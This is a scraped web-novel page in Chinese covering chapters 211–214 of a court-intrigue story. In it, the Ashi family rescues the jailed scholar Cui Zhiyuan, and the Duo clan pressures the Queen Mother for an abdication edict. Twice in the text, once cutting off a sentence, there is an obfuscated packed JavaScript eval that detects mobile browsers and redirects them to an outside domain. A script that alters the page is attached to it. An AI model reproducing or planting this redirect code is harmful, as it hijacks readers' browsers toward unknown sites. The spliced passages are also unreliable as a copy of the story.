往日喧闹的街市变得情状清凉,也没小商小贩出摊,各个店面仍是开着,一酒家内,微弱的光线中只有寥寥几桌人,皆是默坐着吃喝,就是说话也把声音压得极低。 这哪像热闹喧沸的酒馆子,不知道的还以为是暗探接头。 街面来去的路人个个面色凝重,有的甚至哀叹连连,愁苦着脸。 一个街巷拐角处的暗影里,窝了三四个男子,这几人或胖或瘦,或高或矮,皆是这一带的游闲。 只听其中一人说道:“听说朵家人马进城了,就昨儿。” “想不到朵家居然屯养私兵。”又一人说道。 “这是要变天了……” “嘘!轻声儿,当心被抓起来,你们不知,就连那位新进的参知学士都被抓了,下了牢狱。” “这也太猖狂,崔大人可是大王亲自提拔,就这么无缘无故地把人关押,简直没有王法。” 另一人嗤笑道:“王法?眼下朵家就是王法,谁敢出头,出头就是一棒,就像这位崔大人一样,没个好下场,真是可惜了……” 几名游闲说着,不禁又是几声叹息,他们虽说没个正务,可也知道如今夷越的昌荣全托了他们君王的福泽,王亲临沙场,拓土开疆,在众人心里,这是上天降给他们的神君。 只是可惜,太过美好的人在人世间总不会停留太长,好像他本不属于红尘人世,老天见自己的孩子在人世过得太操劳,便将他提前收走。 “朵家那老东西太狂悖,简直可恨!” “有什么办法,最关键还是大王无后嗣,这才叫他趁势而上。” “那样优越之人,却连一息血脉也没留下,当真是憾事啊!” 正说着,一队金甲禁卫走来,几人忙往暗处躲了躲,等禁卫走过,其中一人道:“都中禁卫属阿史一族统管,不知他们是个什么态度。” 一个稍胖之人摆了摆手:“这个时候,虚虚实实都在看风向,无人敢表明态度,别看这些禁卫巡城,也就做做样子,真正的是守在王庭前的朵家兵马,那才是命门。” …… 府衙旁一条逼仄的侧巷中,两名女子鲜亮地立在污暗的过道里。 为首的女子个头小巧,满头珠簪,身着华丽,她身侧是一个秀丽的丫鬟。 乍然一看,两人似是对着空气愤然不已地指说着,再往前一点,才观得她们对面的墙凹处立着一个衙人。 “你知不知道我是谁?拦我的路?!”阿史苓扬声道。 衙人摇了摇头:“不论你是谁,小的收到上面命令,任何人不得进入。” 阿史苓把下巴往前摆了摆,珍珠见状,从袖中掏出一个沉甸甸的荷包,递到衙人手里。 衙人接过,在手里掂了掂,然后看了对面女子一眼,说道:“最里面一间,动作快些,看了就出来。” 阿史苓带了珍珠进到牢房,才一进去,一股阴湿的霉气扑面而来,骤然变暗的过道,让眼睛有一瞬的不适应,地面湿黏黏的。 她低下头看自己拖泥的裙裾,啧了一声,继续往里行去,好在行了一段,湿滑的青壁上点了烛台,可以看清四围的情状。 牢狱这种晦气的地方,她不曾到过,不免四顾探望,左右两边的围牢里,皆是幽暗暗一片,在更深的角落里,鬈缩着一个个人影,看不清脸,这些失去活人气息的囚徒,不像人更像等待被屠宰的畜生。 再往里走,便到了最里端,是个横向的铁牢。 阿史苓走上前,目光穿过笼隙看向里面,搜寻着,便看见了那个黑瘦书生模样的人,没有意料中的颓丧,也没有惨状,只是衣衫有些脏污,都这个时候了,那人手里还拿着书卷就着微弱的火光觑看。 “崔大人。”阿史苓叫了一声。 崔致远因观书太过认真,丝毫没注意到牢房外站了人,因这一清脆的叫声,猛得从书中抬起头。 “苓姑?” “我来看看你。” 阿史苓让珍珠打开食盒,将一盘盘菜馔拿出,从牢笼的递饭口放入。 “崔大人,我想你在牢里定是吃不好,这是我特意给你备的。”阿史苓催促道,“你快把这台上的空碗筷拿开,我好放入饭菜。” 崔致远在阿史苓脸上看了两眼,放下手里的书,走到牢笼边,从方形口拿下前一顿用过的碗筷,然后阿史苓往台盘上每放一道菜碗,他就拿下摆到小案几上。 “你这牢里看着比别处强,还有小案几。”阿史苓说道。 崔致远苦笑一声,这是朵阿赤给他弄来的,想想也是好笑,因着他的嘱咐,他这才没受刑。 “崔大人,你快些吃,吃好了我再走。” 崔致远张了张嘴,想说些什么,上一次他被关还是因着达鲁通敌,他守城被抓,那个时候达鲁告诉他,叫他不必担心,定会救他出去,不过他并不抱希望,死生看淡。 这次他是真出不去了,大王战死,自己效忠的主上没了,他便没了求生之志。 崔致远看着这一桌精细的饭食,温声道:“谢谢你来看我,苓姑。” “崔大人莫要同我客气。”阿史苓不知再说些什么,看着这位瘦弱的男子,他的眼里再没有光,她心里很难受,是那种隐隐的痛。 她忘不了在徽城时,在小院中他们欢闹地举着杯,喝着酒,情姑和江念打趣他,他脸上漾出开心光彩的笑,那样的意气风发,像一座稳稳的石头山,给人可靠和安心。 “好不好吃?”阿史苓问道。 崔致远嘴里细细咽着,点头道:“是我此生吃得最美味的饭食。” 阿史苓兀地冒出一句:“不是我做的,我叫府里的厨子做的。” “那也好吃。” 阿史苓笑了,想起一事,又道:“还有一事,一直瞒着没告诉你,就是那个……你那件衣衫也是我叫府里的绣娘补的,其实我不会针黹……” 崔致远拈筷子的手一顿,笑道:“无事,就当你补的好了。” 阿史苓心里更难受,别过脸,眨了眨泛酸的眼。 崔致远一点没有浪费地用完饭食,将碗盘从方口递出,珍珠一一收入食盒内。 这时牢外有人催促。 阿史苓忙说:“崔大人,明日我再来,你想吃什么,告诉我,我叫厨子做。” 崔致远开口道:“回去罢,莫要再来。” “为何?” “这里不是你该来的地方,把衣服弄脏了,别再来了。”崔致远走到墙角的暗影里,盘腿坐下。 阿史苓看去,男人的整个上半身都淹在影中,只有一侧的衣摆和衣摆边的手显露在光亮中。 也是这个时候,她才发现崔致远的手很是好看,指骨分明却不过分嶙峋,手背青筋微凸,一双修长且带着冷感的文人的手。 “崔大人,我明日再来?”阿史苓又问了一遍。 却得不到任何回答。 正在此时,衙人走了进来,催促道:“快走,快走,不能再待。” 阿史苓不得不带着丫头往外走去,一面走一面回头看向身后的牢笼,影影绰绰中只看见墙影里一点他的轮廓。 出了牢房,阿史苓这才恍然自己居然在那种潮湿的地方待了半日,而且丝毫没觉着难忍。 “主子,你的眼睛怎么红了?”珍珠问道。 阿史苓眨了眨,说道:“应是突然从暗处到亮处,眼睛有些不适。” 说着,两人走出巷弄。 阿史苓回了自己院子,有些发怔,说不出来心里的难受劲,她从崔致远脸上只看见淡淡的怆然,好像一切都无所谓了。 她从来不知这世上竟有这样一种人,真正做到了以家国为己任,视君若父,不够壮硕的胸中跳动着那样一颗赤忱的心。 大王战死对他无疑是致命一击,就好像一直以来支撑他的梁柱折了。 阿史苓不懂太多大道理,但她很肯定,崔致远是个大好人,好人应该长命百岁,她要尽她所能助他度过这个关口,于是来不及更衣,往前院走去。 这要放在平时,她绝不会拖着脏污的裙裾乱走乱荡,衣衫一脏,她会认为自己整个人都是脏的,非得从头到脚沐洗,再换一身舒净的衣衫,叫丫鬟把脏污的衣衫烧掉,这样才好过。 可是今日却什么都不顾了。 阿史苓走到前院的书房,问向守院的小厮:“我父亲呢?” “老爷正同大爷在书房商议……” 不待小厮说完,阿史苓已提裙上了台阶,叩响房门。 “父亲,女儿来给您问安。” 屋里静了一会儿,传来一道略微苍沉的声音:“只要你不找事,为父一切都安。” 阿史苓一噎,又转口道:“兄长,小妹给你问安。” 没有回应,就在阿史苓等不住时,房门开了,开门之人正是兄长阿史勒。 “还是兄长疼我。”阿史苓仰起脸,甜甜地说了一声。 阿史勒无奈地摇了摇头,侧过身:“进来罢。” 阿史苓走进了屋,就见她父亲坐在茶案边,案上有一紫金雕螭香炉,炉鼎升着细细的轻烟。 案几中的茶盘里摆着各类茶器。 阿史勒掩上房门,走回案几边,重新跪坐到他父亲对面的铺团上。 “不是你兄长开口,我这会儿真不想见你,说罢,又有什么事?”阿史家主说道。 阿史勒提壶给他父亲和自己各沏了一杯茶,又拿出一干净的小盏,准备给阿史苓也沏一盏。 “阿兄,我不喝茶。” 阿史勒于是放下壶,拿起自己面前的茶盏,就在那茶水刚入口时,听得身侧的阿史苓开口。 “父兄,我想招赘婿……” 第211章 他轻薄你了? 阿史勒听说小妹要招婿,一口茶水直接呛到气管里。 一边的阿史家主反倒岿然而坐,不见丝毫惊诧,暗道自己儿子还是缺少经验,在这丫头面前必须做足准备,你不知道她下一句会说出什么荒唐言语。 “你想低嫁?”阿史勒好不容易理平气息。 阿史苓想了想,说道:“也不算低嫁,他如今遇着难事,正处于低谷,我不能见死不救,指不定等他日后起复,咱们全家都得仰仗他哩!” “那你就把自己献出去?”阿史勒问过后又觉着不对,“他?还起复?这人是谁?” 他本以为小妹是一时兴起,想招个男子入赘,毕竟以她这个刁蛮性子,去了别家真不一定能顺意和美,可她那话里的意思,分明已有中意之人。 阿史苓直说道:“就是崔大人。” 别说阿史勒了,纵使阿史家主已有心理准备,亦是雷震一惊。 “崔致远?”两人齐声惊问。 “是,就是那位参知学士。” “不行!”阿史家主一口否决,“你就是招个贩夫走卒也不能招他为婿。” “为何?!”阿史苓急了。 “还为何?他现在什么情况你不知道?不仅没了官身,还是戴罪之身,能活到什么时候都不知,你招他?是准备在牢里完婚?”阿史鹞说道。 阿史苓看着她父亲,嘴角挂着一丝冷笑。 阿史鹞被她看得不自在,问道:“你那是什么表情?” “父亲说他是戴罪之身,我倒要问问父亲,他有何罪?谁给他定的罪?”阿史苓腾地站起,指向窗扇,“那朵家是什么阿什物?他是天王老子不成?他说谁有罪谁就有罪?别忘了,咱们夷越的王姓仍是呼延氏,不是他朵氏!王庭里还有圣太后呢!” 阿史鹞默了一会儿,说道:“你坐下。” 阿史苓气怔得立在那里不动,阿史鹞暗骂,这驴脾气真是牵着不走,打着倒退。 阿史勒给阿史苓睇眼色:“过来坐下,听父亲如何说。” 阿史苓这才重新屈膝坐下。 “崔致远这人品性不差,他若仍是参知学士,你要嫁他,也嫁得,只是眼下形势微妙,你同他远着些。” 阿史苓冷笑一声:“父亲在怕朵家?什么时候咱们阿史家要仰他朵家鼻息了?” 阿史家主两眼一睁:“我怎会怕他朵家?!” “既然不惧他,为何又这般瞻前顾后?”阿史苓扬起下巴,捋起袖儿,“他朵家不就是手上有点兵么,我阿史家难道就没有兵?大不了跟他干一场!” 阿史家主闭了闭眼,一手掩住半边脸,他是真不想承认这是自家闺女,哪里有半点女儿家的斯文。 转念之间,见自家女儿这般维护姓崔的,心里一凝,肃声问道:“你同那崔致远又不相熟,怎的就这般为他费尽心力,可是上次去徽城,他轻薄你了?” 阿史鹞说得委婉,实是担心崔致远是否同自家女儿有了首尾,以至于女儿不得不替他求情,若真是这样,不用朵家出手,他会立马叫崔致远死。 阿史苓“哎呀——”一声:“他那呆子哪有这些心思,我往他跟前进一步,他连退两步呢,迂腐得要死。”说着,看向她父亲,“他真是个顶好的人,女儿觉着嫁与这样的人,以后只有我欺负他的份,没有他欺负我的。” 阿史鹞同自家儿子对看一眼,都从对方眼里看到了无可奈何,而这份无可奈何中又掺杂着一丝听天由命。 “你真想好了?”阿史勒问道。 “阿兄,我想好了。” 阿史勒作为兄长,不得不给她点明要害:“咱们闭着门,自家人说话,阿兄就不遮掩了,你哪怕择一贩夫走卒,日后父亲和我也可让他官袍加身,你仍是高高在上的官眷,但这个崔致远,他如今是白身,而且,他曾是君王近臣,又因东境一役同朵家结了仇怨,如果……夷越王权落到朵家手里,小妹,你要知道,崔致远再难翻身,你真要嫁给这样一个平庸之辈?” 阿史苓全然不担心:“小妹心里再没像现在这样清醒,我要嫁的是人,不是那看不见摸不着的官爵,真要找一个德行不好之人,他身份再贵重,我也只能做那深闺怨妇,而一个品性上乘之人才是世间难寻。” 说到这里,阿史苓机灵一笑:“家中有父兄看护,母亲和嫂嫂疼爱,吃穿不愁,又不是找个好人就吃糠咽菜了。” “你这算盘倒是打得精,半分不让自己吃亏。”阿史勒拿指虚空点了点。 阿史苓端父兄态度,知道此事定下了。 “还有一事……” 阿史父子问道:“还有什么?” “就是这件事情……崔大人还不知晓,父兄也知道,像他这种书生,总有些孤傲的古怪性,阿兄同他相谈间别太过凌人。”阿史苓说道。 阿史父子这才恍然,原是她剃头挑子一头热。 …… 衙人从衣襟里掏出一个荷包,拉开,把里面的金豆子倒出来,细细地数了数,生怕少数了一粒,正数得开心,一串脚步声响来。 抬头一看,就见一群身着金甲衣的禁卫挤满了巷弄,巨大的动静把里面几个当值的牢头惊得探出头。 其中一个牢头笑问道:“禁卫大人怎么到咱们这种地方来。” 禁卫中为首之人冷声道:“公事拿人,闪开。” “这牢里面怎会有你们要的人呢?” 禁卫又道:“有没有我们进去看一番不就知晓了,还不成我们禁卫拿人还要同尔等报知。” 牢头忙解释道:“怎敢,只是要拿这里的人需得有对牌或是手札,不然小的们不敢放人。” 禁卫中一人上前,抽刀,对着牢头脖子一抹,动作干净利落,热血溅出,滋了那黄金甲衣一身,在辉光下如同燃烧的火云。 “还要对牌不要?” 衙人们唬得忙不迭让道。 禁卫们散出一条道来,中间走出一人,正是阿史勒。 崔致远看着牢笼外的阿史勒,不知他来干什么? “崔大人,别来无恙?”阿史勒说道。 崔致远心道,我同此人并不相熟,不知是不是他的错觉,怎么听他这口气有些阴阳怪气。 “阿史大人来此是来提刑我的?” 阿史勒把牢里的崔致远上上下下打量,这书生放在夷越男子中当真不挑眼。 肤色比旁人更暗一度,眉眼嘛,薄眼,鼻子倒是高挺,算不上多好的面目,就是一个文弱书生,真不知小妹瞧上这人什么。 崔致远被阿史勒瞧得如芒刺在背,不自在起来,不知他是何意,于是放下手里的书卷,理了理衣摆,起身,走上前说道:“若要提刑,就把牢门打开。” 阿史勒摆了摆下巴,衙人上前,从腰带处解下药匙,抖抖擞擞地半晌插不进匙孔。 一边的禁卫不耐烦地将他往旁边一拽,抽出胯间长刀,照着牢锁一砍,“哗啦啦——”锁链掉落在地。 崔致远被这一幕惊怔。 “阿史大人,你这是……” 阿史勒拉开牢笼,说道:“劫狱呢,看不出来?还速速出来。” 崔致远不再多话,出了牢门,在一众禁卫的簇拥下出了牢房,最后乘上一辆马车,马车在禁卫的前后围护中驶向阿史府。 到了阿史府邸马车没有停下,而是径直从侧门进入,一直行到二道门前才停下。 阿史勒敲了敲车壁,崔致远掀开车帘,探眼一看,是一处精美的游园,当下出了马车。 “阿史大人到底何意?作何要救我?还有,这又是哪里?” 从前,君王在时,他身为王之近臣,朝中不少人巴结迎合他,而今,君王这座鳌山坍塌,他身上再没什么可图的。 阿史勒看了一眼周围,说道:“这是我的府邸。” 崔致远并非傻子,阿史勒代掌京都禁军,京都禁军和王庭亲卫这两支皆属君王亲军。 毫无疑问,阿史家效忠于君王,大王才会把代掌禁军一职委任于阿史家,可一码归一码,在这个档口,阿史家绝不会出面救他。 难道是阿史苓给他说情?想到这里,崔致远面色变了变。 阿史勒挥手叫一旁的下人们退下,说道:“从今日起,你就住在我府中,危机过去之前,哪里也不要去,只要你在我阿史家,我们就能护你无恙。” 崔致远动容之余又生出愧疚:“如今人人对学生避之不及,大人救我,只怕会给大人及家眷招祸,学生心里实在难安。” 阿史勒听他如此说,腔音中起了点温度:“崔大人,本卫听过一句话,不知大人可曾听过?” “何语,大人道来。” 阿史勒睨下眼,启口道:“救命之恩,无以为报,唯有……” 崔致远下意识地接话:“唯有以身相许……”话才落地,惊愕地看向对面,怒喝道:“荒唐!学生不好男风,还请大人自重……” 第212章 横闯宫闱 一道焦雷自阿史勒头顶打下,心道,还男风,就你这黑瘦模样,谁能看中你?刚对他有点好态度,就被散了个干干净净。 正待发怒,一个欢快的声音从不远处响起:“崔大人!” 崔致远循声看去,就见阿史苓欢快走来。 阿史勒见自家小妹过来,说道:“为兄的任务完全了,把人安全交到你手上。”说罢,斜了崔致远一眼,甩袖离去。 崔致远回想刚才那句“救命之恩,无以为报,唯有以身相许”,这才会过意来,再看向阿史苓时便有些不同。 “崔大人,你就在我府上休养,待过了这个关口再做打算。” 崔致远抱拳道谢。 阿史苓是个风火性,不喜欢墨迹,当下把崔致远带到一处院子。 “这院子我叫人收拾过,什么都有,大人若是缺什么,少什么,只管叫下人们采买了来。” 崔致远往院中四顾打量,院子不算大却很精巧,主道以石板铺成,旁边是黄色、黑色还有白色的鹅卵石,绿植花木皆修剪有形,花木下是浅纤的嫩绿茵席。 又有一方不规则的鱼池,旁边以灰晶石垒边,清水里游荡着十来条不知名的彩色鱼儿,看着很有生气。 崔致远粗略把园子看了一眼,转头对阿史苓说道:“可否领我去拜谢老大人?” 阿史苓笑道:“自是要拜谢,只是我父亲现在不在府里,晚些时候他回来,我引你去见一见。” 崔致远又是一番相谢。 阿史苓想他才从牢狱出来,需要休息,于是对院中的仆从们交代一番,就走了。 崔致远站在院子里,低头看了一眼自己的衣履,吩咐丫鬟备热水,待热水上了,这才步入房中沐洗更衣。 整装毕,下人们上了晚饭,崔致远用**,此时天已渐暗,阿史苓提了一个彩光闪闪的琉璃灯欢喜地走了过来,立在阶下说道:“崔大人,我父亲回了。” 崔致远忙站起,往外看去,就见焕彩流光中立着一个笑眉笑眼的金玉人儿。 一时间竟有些自惭形秽。 阿史苓见他换了一身干净的衣裳,再去看他的脸,因为背光的原因,有些看不清明,微微光影下,隐约可辨细薄眼皮下的双眸,眼尾下垂的褶,是亲和的线条。 崔致远被她看得有些不自在,打了一声咳嗽,走下台阶。 阿史苓提着琉璃灯,崔致远隔出一段距离走在她的身侧,身后几名丫鬟随行。 “苓姑,多谢你。” 阿史苓低头笑了一声:“怎么谢啊,可不能只是口头说说。” 崔致远想起阿史勒的那番话,一时间憋红了脸,磕巴道出:“你说怎么谢便怎么谢。” “真的?可不能食言。”阿史苓一个转身站定,手上的彩灯照到男子的身上,红的、绿的、黄的,随着提灯晃动。 崔致远颔首道:“不食言。” “有你这话就成,只是我还没想好,待想好了再说。” 阿史苓继续往前走,崔致远随后跟上,不一会儿,七拐八绕到了另一方院落。 “到了。” 阿史苓朝一个方向努了努嘴,崔致远颔首,上了台阶,理了理衣襟,叩响房门。 “进来。” 崔致远推门而入,屋内灯光通明,桌案后坐着的正是阿史家家主,阿史鹞。 “崔大人请坐。”阿史鹞从桌案后走出。 崔致远虽说落难,可该有的气度和礼教仍在,朝上恭恭敬敬一拜。 “多谢老大人出手救在下。” 阿史鹞坐到他的对面,示意他喝茶:“崔大人接下来如何打算?” 崔致远看了一眼对面这位看起来并不如何年老,甚至透着英武气的阿史家家主,直言不讳道:“学生不知,若能躲过此劫,学生应该会回徽城老家。” 阿史鹞面上仍是平静,暗忖道,崔致远心计胆识不一般,可再怎样也只是一个二十来岁的年轻人,别说他了,就是他们这些老家伙也不知下一步该如何。 呼延吉战死,对夷越无疑是致命一击,如今人人风声鹤唳,茫茫不知。 阿史鹞不着痕迹地度其神态风姿,见其骤然从高位跌落,却不见怨恨颓丧,可见其稳重的性情,可惜了,是个不多得的人才,就是底子太轻薄。 崔致远能得君王赏识,少不了一份机缘在里面,可这份眷顾随着呼延吉战死如烟一般散去,照眼下的情况,除非君王死而复生,否则他再翻不了身。 阿史鹞想起女儿提及的入赘一事,转眼又觉得太过儿戏,便不提此事,正待找些其他话说,房门突然被拍响。 “家主,府门前来了好多兵。” 崔致远猛地站起,面色一变,说道:“定是朵家集了兵马,抓我来了。” 阿史鹞并不慌张,拿起面前的茶盏,不慌不忙地将茶水饮尽,这才站起身。 “不必惊慌,他们不敢进来。”说着出了屋室,崔致远随在他的身后。 阿史苓面上带了一点紧张的神色,凑了过来:“父亲。” 阿史鹞示意她不必惊慌,然后转头看向崔致远:“带她下去。” 崔致远不想因着自己连累阿史家,上前一步道:“学生不愿叫老大人为难,他们要的是我,在下一条贱命死不足惜。” 朵尔罕恨极了他,不论他有无威胁,就是想叫他死,只有他死,朵尔罕才解恨。 阿史鹞冷哼一声:“他朵家来要人,我就得给?给他脸了!”说罢带着一众奴仆往外走去。 阿史苓在后面跟着,学着她父亲的口气,说道:“给他脸了!” 阿史鹞突然顿住脚步,回过身,呵斥道:“你跟过来做什么?还不回你的院子!” 阿史苓差点没刹住,被这一吼,只得乖乖走到崔致远身边立着。 等她父亲走远了,又安慰一旁的崔致远:“不用担心,我父亲不惧的,我们阿史家就没有怂货。” 崔致远发现阿史苓面上高高在上,其实内心很澄澈,她一旦认定的朋友,就会掏心掏肺地对那人好。 …… 阿史府邸前,熊熊火把下是身着青甲的朵家私兵,挨挨挤挤地站满了府前的空地。 当日君王殉战的消息传到京都,朵尔罕连夜调来近五万私兵,在众人猝不及防之下围了王庭。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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眼下他按兵不动,却是另有打算,围禁王庭,名不正言不顺,最后反会落下一个谋逆的罪名,这是他不愿的,王位他要,人心他也要。 遂软硬兼施,打算叫圣太后立下禅位诏书,他便可以名正言顺稳坐王位,只是那老妇人怎么都不松口,非说不信君王战殁,不见到尸身,她绝不立诏。 呼延吉死于山崩,变成了泥人,尸骨无存,哪里去抬个尸身给她,一时间叫他进不得退不得。 “阿史鹞,你能护他到几时?”朵尔罕冷声道。 阿史鹞并不回答,只是睨着阶下的朵尔罕。 朵尔罕苍粗的声音笑了几声,笑声中充满讥讽,洋洋地走了,那些青甲兵也如潮水一般退去。 今夜,阿史鹞见了朵尔罕的态度,心往下坠,一个无威胁的崔致远竟叫朵尔罕亲自来拿人。 也是,当初朵尔罕指派自己的长子去夷越东境,本想借梁军东犯,施压呼延吉立他女儿为大妃,结果呼延吉派崔致远往赴夷越东境,他的如意算盘落了空,折兵丧女,损失惨重。 今日,崔致远算是保下一命,只是这条命能活多久,端看天意…… …… 是夜,朵尔罕从阿史府邸离开后,并未回私邸,而是乘辇径直去了王庭。 从前他在庭前必下辇解剑,如今车夫马鞭不收,毫不停顿地长驱直入,横闯宫闱如入无人之境,犹似逛自家花园般自在…… 第213章 禅位诏书 王庭,祥云殿…… 此时已夜幕四合,凉月高挂,野虫哀鸣。 金掌事从宫婢手里接过药膳,转身走到帷屏内。 屋内高太后并未就寝,而是衣饰整齐地坐于罗汉榻上,双目虽不那么清亮,却蕴着力量。 这几年,因有大王理朝勤政,圣太后退居于祥云殿,过了多少年的闲散日子,把一颗心也温养懒了,一身锐气尽敛。 外界都道太后命好,生了两个既孝顺又尊贵的儿子,且这两个儿子还那般出色。 可他们不知,不论是成王还是如今的吉王,他们的尊贵是因为托在了圣太后的肚子里。 这些人更不知,少女时的太后是怎样从一众贵女中脱颖而出,入了老君王的眼,又怎样在危机暗涌的王庭生存下来。 那个时候的老君王可不像现在的大王,内廷无人。 两位朵家女已叫人难以招架,生出多少是非,那个时候的内廷,可不止两个女人,有上姓女子、各大世家的女子,亦有名宦之族,个个儿都带着毒性。 圣太后便踩着这些人,一步一步走到老君王身侧,同他并坐,许是年纪大了,心境变了,褪去锋芒,做起讨人嫌恶的老太太。 而今,那双阅尽世事的眼,仍可观得年轻时美丽的旧影。 这得多强大的内心才能撑到现在,连丧两子,白发人送黑发人,谁能承受得住这个打击。更让人惋惜的是,两任君王连子息也没能留下。 太后她老人家面上虽然不显,可她作为贴身侍婢却知她的心痛得滴血,养得那样好的一头浓发,出生许多银白。 “太后,药来了,喝了就歇下罢。” 高氏接过药碗,用汤匙舀了两下,说道:“仍没传来消息?” 金掌事摇了摇头,太后不愿相信大王没了,一直认定过不了多久会传来大王假死的消息。 高氏双目微敛,把药碗搁到桌上,一室的安静。 这时,宫婢们慌张的声音从外传来。 “朵大人,您不能进去,太后已歇下了。” 接着是一个洪亮的武将声音:“大胆宫奴,朵老大人你也敢拦!” 再然后是抽刀之声,以及宫婢倒地的声响。 那声音又道:“你们一个个都看仔细了,这可是同王姓并重的朵老大人。” 宫婢们噤若寒蝉,不敢再言语。 这时朵尔罕的声音响起:“太后歇息下了?” “是。”宫婢应声。 “那便请太后整妆起身罢,本大人在这里候着。” 处于帷幕内的金掌事已气得浑身发抖,奸佞!逆贼!竟叫太后理妆迎他! 高氏缓缓站起,金掌事就要上前搀扶,却被她挥手摆开,双臂端持,走出帷幕。 朵尔罕见高氏出来,并不起身,哪还有半点在呼延吉面前诚惶诚恐的恭敬之态,架子比高氏这个圣太后端得还足。 只见他一手执着杯盏,一手揭着盖,撇着水面的浮沫,啜了一口。 “朵大人这么晚了到祥云殿来有何事?”高太后问道。 朵尔罕并未立即回答,而是端着盏继续喝茶,呷了两口,又以盏盖在盏沿上一划,安静的大殿内只听到瓷碗刺耳的刮擦声,然后再随手把盏搁于案上。 “太后何必明知故问,我深夜前来还能为什么,不就是为了那一纸禅位诏书。” 高太后冷笑一声:“朵大人这就等不及了?” “国不可一日无君,我也是为着夷越百姓着想,不得不勉为其难担此重任。” 高氏下巴微扬,气足声亮:“所谓禅位,该由君王拟诏才对,我一个老妇人懂什么禅位,大人不如等我儿回来,你再叫他禅位与你,岂不更好?” 朵尔罕听她提起呼延吉,身体不自主地一震,不过很快掩了过去。 “太后何苦自欺欺人,大王已然战死,您这样放不下,只会叫他在九泉之下不得安息。” 高氏额腮绷得紧紧的,拍案道:“只要一日未见尸身,我儿就还存活于世!” 朵尔罕面色渐冷:“战报还能有假?难道太后真叫老臣遣人去那泥土里扒尸骸?届时呈放到你眼前,您才认?”说着嘴边扬起一抹恶笑,“只怕那骸骨呈到您面前,你也认不得了,反叫大王最后一点体面也失了。” 高太后腮上的肉发着颤,显然已是极力在忍。 朵尔罕叹息摇头道:“早知今日何必当初,那时我遣小女入王庭,大王偏宠于梁女,冷落我儿,若立小女为大妃,孕育出王嗣,也不至于后继无人,起码夷越王姓仍是呼延氏。” “立你朵家女为大妃?”高太后轻哼一声,“现在想来,得亏我儿没立你朵家女为妃,如此大逆不道之人,能教养出什么好儿女,梁女比你朵家女强数倍不止。” 朵尔罕也不恼,反倒站起身,放眼四顾,说道:“是么,太后觉着梁女好,老臣倒要问一问,您都这样了,那梁女在哪里?怎么没有伴在您的身边?” 高太后双目微霎,并不答言。 朵尔罕又道:“听说她为您去寺庙祈福,京都发生了如此大事,她不会不知道,不怕告诉您,老臣遣人去了周边所有寺庙,根本不见其踪影,您道是为何?只怕得到大王身殒的消息,知道自己再无倚仗,逃了也未可知。” 朵尔罕这人心狭窄,记仇,围禁王庭后,首先想到的就是擒拿江念,却一直寻她不着。 高太后并不恼,嘴角噙笑,朵尔罕无非就是想言语击垮她,让她在绝望中不得不立禅位诏书。 “朵大人去寺庙当然寻不着梁妃,她并非去寺庙祈福。” 朵尔罕眼一眯,假装不甚在意的样子:“看来太后是知晓她的行踪了,不知她人现在何处?” 高太后反倒不急了,悠悠地端起茶盏,啜了一口:“梁妃去寺庙祈福只是对外的说辞,朵大人真想知道?” “毕竟是王室中人,怎可流落在外。” 高太后点头道:“告诉你也无妨,这丫头实则同我儿一起去了梁西, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15666251|168163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 用不了多久,她便会同我儿一道回京都。”接而又道,“若我儿真有不测,这丫头怎么不回来通报于我?可见那些战报并不可信。” 朵尔罕心里开始摇摆,不知高氏这话几分真假,若她说的是真话,难道呼延吉真没死?一时间迟疑起来。 于是不敢相逼太甚,一语不发地带人离开了。 待人走后,高氏挺直的腰背这才塌下,喃喃地说了一句:“那丫头若能逃就逃罢,逃了也好。” 金掌事见了不忍,从旁宽慰道:“依老奴看,这事只怕真有转机哩!” 高氏如今急需此类安慰之言语,当下问道:“怎么个转机,有何说法?” “您看呐,当初梁妃殿下是大王亲自送出王庭的,宣称去寺庙祈福,可刚才朵尔罕却说在寺庙并未寻到梁妃殿下。”金掌事将高太后扶起,慢慢走到帷幕后的里间,接着道,“老奴并不信梁妃殿下只顾自身安危,她同大王之间的情意放眼整个王庭,上上下下谁人不羡,定是她听到噩耗,亲身去边境寻大王了。” 听此一说,高太后把金掌事的手紧紧握住,急声道:“真的?” “一定是的,太后您不是不知道,从前这样的事情又不是没发生过,那会儿大王攻取邕南和定州,不就是阿多图带着梁妃赶赴边境。” 高氏眼睛一亮,焕上神彩,连连拍着金掌事的手:“对,对,阿多图这会儿不在王庭,一定带着江丫头去梁西找我儿了。” 金掌事赶忙说道:“正是呢,所以您只需放宽心,在王庭守他二人归来,老奴今日瞧您那样一说,朵尔罕还是有些忌惮,不然也不会这么轻易就走了。” “嗳——只怕我压持不了多久……” 朵尔罕手上兵马众多,仅凭王庭亲卫和都中禁军,难以匹敌。 现下双方按甲不动,僵持不下,谁都不愿先撕破脸,不到最后,不动兵戈,她只能尽她所能,镇一时是一时。 有了刚才的宽慰之语,高太后真就在心里盼顾起来,从未如此希望见到江念。 …… 阿多图自那日请见梁妃,请求带着小王子速回王庭,梁妃并未立时应下,而是问他,回了京都后是否有能力护小王子周全。 他没办法回答,据传来的信报,朵家近五万私兵已屯于京都城郊外,梁妃见他如此情状,让他退下,说她需要时间考虑。 可自打小王子出生,眼下已有一个月,梁妃那边依旧没有任何动静,不过小王子足月后,殿下可以下榻了,偶尔会在晨间走出屋子,在院子里坐一会儿。 他守在院外,余光中见她素淡着脸,大多时候面上无悲无喜,只有在抱起小王子时,才会展露温柔的笑颜。 小王子很黏他母亲,梁妃若不在他眼前倒还罢,只要见着了,不管是方嫂抱着,抑或是乳母抱着,他皆不要,定探出肥肉肉的胳膊叫他母亲抱。 偶尔梁妃同他对视上,也只是微微一笑,他猜不出她在想什么…… 第214章 风暴将至 阿多图不知江念作何打算,自上次说容她想想后,便一直没有回话,这日,终是忍不住,让丫鬟往里通报,然后进到屋室里。 